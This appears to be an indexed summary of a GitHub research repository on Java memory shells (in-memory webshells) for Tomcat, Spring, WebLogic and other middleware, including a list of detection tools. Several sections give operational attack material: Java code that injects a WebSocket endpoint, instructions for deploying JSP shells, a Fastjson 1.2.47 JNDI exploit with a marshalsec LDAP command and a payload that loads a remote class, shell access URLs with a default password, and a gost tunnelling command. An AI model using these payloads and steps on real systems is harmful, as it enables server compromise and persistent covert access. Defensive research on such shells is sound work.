mshell - Memory Shell Research

repository·main·Indexed 21 days ago

https://github.com/getshell/mshell

A research repository focused on the study, implementation, and detection of memory shells (内存马), primarily within the Java ecosystem. It provides technical resources, implementation methods, and detection tools for various middleware and frameworks, including Tomcat, Weblogic, JBoss/Wildfly, Jetty, Websphere, and Spring. The project covers multiple shell types such as Filter, Servlet, Listener, Valve, and WebSocket, and includes guidance on exploiting deserialization vulnerabilities (e.g., Fastjson) to deploy these shells.

Tokens
3K
Snippets
5
Records
13
Agent score
76%

What's inside mshell

  1. Overview of Mshell-攻防内存马研究

    main
    Mshell is a research repository dedicated to the study of memory shells (内存马) in offensive and defensive security contexts. The project focuses heavily on Java-based memory shells, collecting technical principles, implementation methods, and specific project resources. It serves as a centralized knowledge base for understanding how memory shells work, how to implement them, how to use them in practical scenarios, and how to detect and kill them.
  2. Explore Java Memory Shell (Memshell) Resources

    main

    The mshell repository provides a curated collection of resources for researching Java Memory Shells (Memshells), covering offensive techniques, defensive strategies, and academic research.

    Resource Categories

    1. Technical Articles: A vast collection of deep-dives into various Memshell types, including:

      • Tomcat Memshells: Filter, Servlet, Listener, Valve, and WebSocket types.
      • Spring Memshells: Controller and Interceptor construction.
      • Java Agent Memshells: Using Java Agent technology for persistence and stealth.
      • Other Middleware: Research on Jetty, Resin, WebLogic, and ASP.NET.
      • Detection & Defense: Techniques for scanning, capturing, and killing Memshells from a defensive perspective.
    2. Open Source Projects: Links to various implementation tools and generators, such as:

      • msmap: A Memshell generation framework.
      • java-memshell-generator: A tool for generating Java Memshells.
      • JundeadShell, ZhouYu, and memShell implementations.
      • Collections of existing Memshell payloads.
    3. Academic Papers: Research papers focusing on high-adversary detection technologies for Java Memshells and specific detection techniques for Tomcat Filter-type Memshells.

    Learning Path Suggestion

    For developers or security researchers, the resources are categorized by complexity, ranging from basic Java security concepts to advanced 'untraceable' (无痕) injection and bypass techniques.

  3. Implement Multi-functional Shells with WebSocket

    main

    To use a WebSocket memory shell, your management tool must support the WebSocket protocol.

    Integration Strategies:

    • Tool Support: Tools like AntSword (v2.1.15+) now support WebSocket natively.
    • Custom Implementation (e.g., Godzilla): If using a tool like Godzilla, the core logic remains the same, but the communication protocol is swapped for WebSocket.
    • Hybrid Approach: Since a WebSocket memory shell must be injected before it can be connected to (you cannot connect directly to a raw JSP file via WS), you can use a standard JSP shell to first inject the WebSocket class. Once the WebSocket endpoint is registered, you switch the connection protocol to WebSocket to interact with the malicious class.
  4. Identify and detect memory shells (Detection Tools)

    main

    For defensive research and incident response, the repository lists several tools and methodologies for detecting and killing memory shells (查杀).

    Key Detection Resources:

    • General Scanners/Analyzers: FindShell, shell-analyzer, java-memshell-scanner, MemoryShellHunter, java-memshell-scan, DuckMemoryScan.
    • Specialized Detection: DefendMemoryShell (for defense), copagent.
    • Runtime Analysis: alibaba/arthas (for live JVM inspection).
    • Methodologies: Research on killing Java web filter-type memory shells and monitoring trojans with 'eyes' (给木马带双眼睛).
  5. Implement a WebSocket Memory Shell (wsMemShell)

    main

    A WebSocket memory shell leverages the full-duplex nature of the WebSocket protocol to establish a communication channel that is difficult to detect via standard memshell scanner tools because it does not require registering new Listeners, Servlets, or Filters.

    To implement this after the server has already started, follow these three steps:

    1. Create a ServerEndpointConfig using the ServerEndpointConfig.Builder.
    2. Retrieve the ServerContainer from the ServletContext attributes.
    3. Call addEndpoint(config) on the container.

    Compatibility:

    • Tested successfully on: Tomcat, Spring, Jetty.
    • WebLogic: Requires specific conditions (refer to WebLogic-specific documentation).
    • Jboss (WildFly): Not tested.

    Note on JSR356: Since JSR356 is part of Java EE 7, implementing a WebSocket memory shell does not require any third-party dependencies.

    // 1. Create the configuration for the endpoint
    ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build();
    
    // 2. Retrieve the ServerContainer from the ServletContext
    ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName());
    
    // 3. Inject the endpoint into the running container
    container.addEndpoint(config);
  6. Explore Memory Shell practical implementations by technology stack

    main

    The Mshell repository provides a curated list of practical implementations and research for memory shells across various technology stacks. Use these resources to study how memory shells are implemented in specific environments for offensive or defensive research.

    Available Technology Stacks:

    • Tomcat: Includes TomShell, TomcatMemShell, and Memory.
    • Weblogic: Includes WeblogicShell.
    • Spring: Includes SpringShell.
    • WebSocket: Includes wsMemShell.
    • Python: Includes flask_memory_shell.
    • .NET: Includes net_memory_webshell and GodzillaMemoryShellProject.NET.

    Other stacks covered include Shiro, Jboss, WebSphere, gRPC, Struts2, and various deserialization-based injection methods (Shiro, Fastjson).

  7. Deploy Tomcat Memory Shells via JSP

    main

    You can deploy memory shells by uploading or writing the corresponding .jsp file for the target Tomcat version to the environment and accessing it via a browser.

    Success is indicated when the page returns the string >@<.

    Naming Convention:

    • memlistener8910.jsp: Listener CMD memory shell for Tomcat 8/9/10.
    • icememfilter7.jsp: IceScorpion (冰蝎) Filter memory shell for Tomcat 7.

    Supported Tomcat versions include 7, 8, 9, and 10.

    <!-- Access the uploaded JSP via browser to trigger injection -->
    http://target-ip/memlistener8910.jsp
  8. Deploy Tomcat Memory Shells via Java/Class files

    main

    To use .java or .class memory shells, you must combine them with a deserialization vulnerability (e.g., Fastjson JNDI or SnakeYAML SPI).

    Important Notes:

    • Compatibility: Supports Tomcat 8/9/10.
    • Class Naming: When modifying .java files, ensure the filename matches the class name.
    • StandardContext Retrieval: Uses Thread.currentThread().getContextClassLoader() to obtain the StandardContext. This method does not work on Tomcat 7.
    • Shiro Note: These files are not suitable for Shiro vulnerabilities (which require inheriting AbstractTranslet and modifying Header size).

    Naming Convention Examples:

    • LRain10: Listener CMD memory shell for Tomcat 10.
    • IFRain: Filter IceScorpion (冰蝎) memory shell for Tomcat 8/9.
  9. Use WebSocket as a Proxy via Gost

    main

    Because WebSocket is a full-duplex protocol, it can be used to build high-speed proxies, similar to standard TCP proxies. This is particularly useful for hosts with no outbound internet access (out-of-network hosts) that have been compromised via deserialization vulnerabilities.

    After injecting a WebSocket proxy memory shell, you can use gost to connect to the proxy path. For example, if the memory shell is listening on 127.0.0.1:8080 at the path /proxy, you can set up a local SOCKS5 proxy to tunnel your traffic through it.

    # Use gost to create a local SOCKS5 proxy (port 1080) that tunnels through the WebSocket proxy path
    ./gost -L "socks5://:1080" -F "ws://127.0.0.1:8080?path=/proxy"
  10. Example: Exploiting Fastjson 1.2.47 with Tomcat Memory Shell

    main

    To exploit a Fastjson 1.2.47 deserialization vulnerability using a Tomcat memory shell (e.g., ILRain.class):

    1. Setup LDAP Server: Use marshalsec to host the malicious class.
    2. Trigger Vulnerability: Send a Fastjson PoC targeting your LDAP server.
    3. Connect: Use an IceScorpion client to connect to the injected shell.

    Step 1: Start LDAP Server

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#ILRain 9102

    Step 2: Fastjson PoC

    {
        "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"ldap://xx.xx.xx.xx:9102/123",
            "autoCommit":true
        }
    }
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx/#ILRain 9102
  11. Accessing CMD and IceScorpion Memory Shells

    main

    Once the memory shell is injected, access it using the following URL patterns:

    Listener/Filter Type

    • CMD Shell: http://<ip>/?chan=<command> (e.g., /?chan=whoami)
    • IceScorpion (冰蝎) Shell: http://<ip>/
      • Default Password: goautomne

    Servlet Type

    • CMD Shell: http://<ip>/p?chan=<command> (e.g., /p?chan=whoami)
    • IceScorpion (冰蝎) Shell: http://<ip>/p
      • Default Password: goautomne
  12. Supported Middleware for Java memShell

    main

    The memShell project provides Java-based memory shells (memShell) that are compatible with various middleware and frameworks. The following versions have been tested and verified:

    • Tomcat: 7.0.34, 7.0.54, 7.0.70, 7.0.96, 7.0.104, 8.0.18, 8.0.32, 8.0.48, 8.5.12, 8.5.30, 8.5.56, 9.0.16, 9.0.33
    • Weblogic: 10.3.6.0, 12.1.3.0.0
    • JBoss/Wildfly: 8.0.0.Final, 18.0.0.Final, 21.0.0.Beta1
    • Jetty: 9.4.30.v20200611, 9.3.28.v20191105, 9.2.29.v20191105, 9.1.6.v20160112 (Note: failed on earlier versions)
    • Websphere: Websphere Application Server v8.5 and v9.0
    • Spring (Framework): SpringMVC 5.2.10.RELEASE, 5.0.8.RELEASE, 4.3.28.RELEASE, 4.0.5.RELEASE, 3.2.3.RELEASE, 3.0.5.RELEASE